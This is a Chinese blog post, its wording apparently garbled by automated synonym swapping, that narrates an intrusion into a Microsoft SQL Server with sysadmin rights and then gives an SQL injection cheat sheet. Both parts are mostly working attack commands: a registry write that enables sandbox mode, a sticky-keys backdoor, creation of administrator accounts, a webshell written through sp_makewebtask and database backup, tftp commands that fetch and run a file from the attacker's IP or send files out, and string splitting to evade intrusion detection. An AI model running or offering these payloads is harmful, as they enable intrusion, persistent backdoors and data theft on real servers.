快捷搜索:

一次SA权限入侵和小议SA提权

来自草哲的blog

考试测验在NB里面规复CMDSHELL、OACREAT都没有成功,以是开启SQLSERVERAGENT

;exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';--

照样没有成功,无奈之中盼望依靠于沙盒模式,履行如下语句开启沙盒模式

;execmaster..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

回显成功,进一步调用oledb履行系统敕令

and 0c:\1.txt")'))--

回显500,显着掉足了,沙盒模式也暂且放下 既然可以写注册表,那必然可以读注册表,那先读读终端端口看看。

是默认的3389然则我无法连接,或许是没开终端办事,或许是防火墙樊篱,不得而知,必然想知道我为什么要连接终端吧,下面看这段语句。

declare @o int

exec sp_oacreate 'scripting.filesystemobject', @o out

exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

declare @oo int

exec sp_oacreate 'scripting.filesystemobject', @oo out

exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

大年夜家必然记得近来很盛行的SHIFT后吧,以上两段语句便是使用FSO组件的读写权限调换粘拈键为桌面的启动法度榜样EXPLORER,假如调换成功那么履行5次SHIFT后就可以直接履行EXPLORER.EXE开启桌面,然则连不上远程这个措施也就不能用了。当然以上的敕令必要OACREAT的支持,我也便是抱着侥幸的生理碰命运运限。假设OACREAT没有删,我们还可以使用以下语句履行系统敕令。

;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234 /add';--

;DECLARE @shell INT EXEC SP_OAcreate 'Shell.Application',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user jxsaqjh 1234/add';--

以上两个语句也是使用OACREAT调用wscript.shell和Shell.Application组件履行系统敕令,然则在这里我们是用不了的,由于不仅OACREAT不在,就连那两个危险组件治理也写了个批处置惩罚卸了。

万般无奈下考试测验lOG备分拿只SHELL,可是备分的页面却是404,很显然这个SA没有备分的权限,还能怎么做?看下面:

;exec sp_makewebtask 'd:\zjkdj\zjkdj\zjkds\bake.asp,' select '''' ';--

使用sp_makewebtask这个存储历程写个马进去,很幸运这个历程是能用的,成功获得SHELL,原先想传xplog70.dll上去规复xp_cmdshell存储历程,然则履行规复的时刻发明这个历程是在的,然后在海洋里履行CMDSHELL履行系统敕令,然则呈现了这一句,

xpsql.cpp: 差错 2 来自 CreateProcess(第 737 行

我晕啊,难道是CMD.EXE删了?在NB里面列目录查看SYSTEM32下的文件,公然没有cmd.exe,这下终于真象大年夜白了,原本不能履行系统敕令的缘故原由是每个存储历程都是调用系统的cmd.exe,既然没有cmd.exe那还怎么履行系统敕令?治理照样下了费力的哦。

收拾下思路后我又想到了沙盒模式,由于啥盒模式调用的CMD不必然是系统自带的,我们可以自己传一个上去的,想到这里在WEB目录下传了个CMD.EXE然后在海洋里履行如下语句

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("d:\zjkdj\zjkdj\zjkds\cmd.exe /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--

立即到站点目录下找1.txt,然则没有发明,看来只能调用系统自带的法度榜样了,无聊的在SYSTEM32下乱逛,忽然发清楚明了command.com这个法度榜样,哈哈,总算看到盼望了!这是什么?我来奉告你吧,它也是系统自带的履行系统敕令的法度榜样,和CMD.EXE的功能险些没有差别,然则大年夜小却比CMD.EXE小几十倍,既然不让调用外部法度榜样那我就调用内部法度榜样,顿时就在海洋里改动好如下语句履行。

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("command.com /c net start>D:\zjkdj\zjkdj\zjkds\1.txt")')--

调用command.com履行系统敕令,履行完成后在站点目录下总算找到了1.txt

哈哈,总算看到盼望了,打开1.txt看看办事器开了什么办事,然则我却看到一片空缺,这是什么缘故原由?难道?照样确定一下对照好,立即转到SYSTEM32下查看文件,令我吃惊的是居然没有看到NET.EXE,怪不得一片空缺呢,系统根本没有net.exe这个法度榜样,自然是什么也看不到,愁闷,治理员不是一样平常的掉常啊!

不过没有关系,windows系统中还有一个叫net1.exe的法度榜样功能是和net.exe一样的哦,我们来调用它履行系统敕令,语句如下

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("command.com /c net1 start>D:\zjkdj\zjkdj\zjkds\1.txt")')--

履行完毕后再看1.txt

哈哈,成功了,入侵到了这里也就没有什么继承的需要了,由于我们已经有了系统权限,想做什么都随自己乐意了,料理料理在治理员的桌面上写个提醒.txt奉告他破绽所在,让他尽快修补吧!

着末总结一下,在先前以为是系统的存储历程删掉落了,然则后来跟着入侵的深入才发明历程并没有删,只是每个存储历程都必须调用cmd.exe以是不能履行系统敕令也是肯定的了,以是大年夜家在入侵的时刻必然要细心的阐发全部历程,从中找出对自己有用的器械。

第二

一:敕令简介

[获取整个数据库名]

select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库

[得到数据表名][将字段值更新为表名,再设法主见读出这个字段的值就可获得表名]

select top 1 name from 数据库名.dbo.sysobjects where xtype=’u’ and status>0 and name not in(’table’)

[得到数据表字段名][将字段值更新为字段名,再设法主见读出这个字段的值就可获得字段名]

select top 1 数据库名.dbo.col_name(object_id(’要查询的数据表名’),字段列如:1) [ where 前提]

经由过程SQLSERVER注入破绽建数据库治理员帐号和系统治理员帐号[当前帐号必须是SYSADMIN组]

news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加数据库用户用户test,密码为test

news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //假如想改密码,则用这句(将test的密码改为123456)

news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //将test加到sysadmin组,这个组的成员可履行任何操作

news.asp?id=2;exec master.dbo.xp_cmdshell ’net user test test /add’;-- //添加系统用户test,密码为test

news.asp?id=2;exec master.dbo.xp_cmdshell ’net localgroup administrators test /add’;-- //将系统用户test提升为治理员

这样,你在他的数据库和系统内都留下了test治理员账号了

下面是若何从你的服器下载文件file.exe后运行它[条件是你必须将你的电脑设为TFTP办事器,将69端口打开]

id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP get file.exe’;--

然后运行这个文件:

id=2; exec master.dbo.xp_cmdshell ’file.exe’;--

下载办事器的文件file2.doc到本地TFTP办事器[文件必须存在]:

id=2; exec master.dbo.xp_cmdshell ’tftp –i 你的IP Put file2.doc’;--

绕过IDS的检测[应用变量]

declare @a sysname set @a=’xp_’ ’cmdshell’ exec @a ’dir c:\’

declare @a sysname set @a=’xp’ ’_cm’ ’dshell’ exec @a ’dir c:\’

新加的:

建一个表。只有一个字段,类型为image,将asp内容写入。导出数据库为文件

backup database dbname to disk=’d:\web\db.asp’;

报错获得系统操作系统和数据库系统版本号

id=2 and 1<>(select @@VERSION);

您可能还会对下面的文章感兴趣: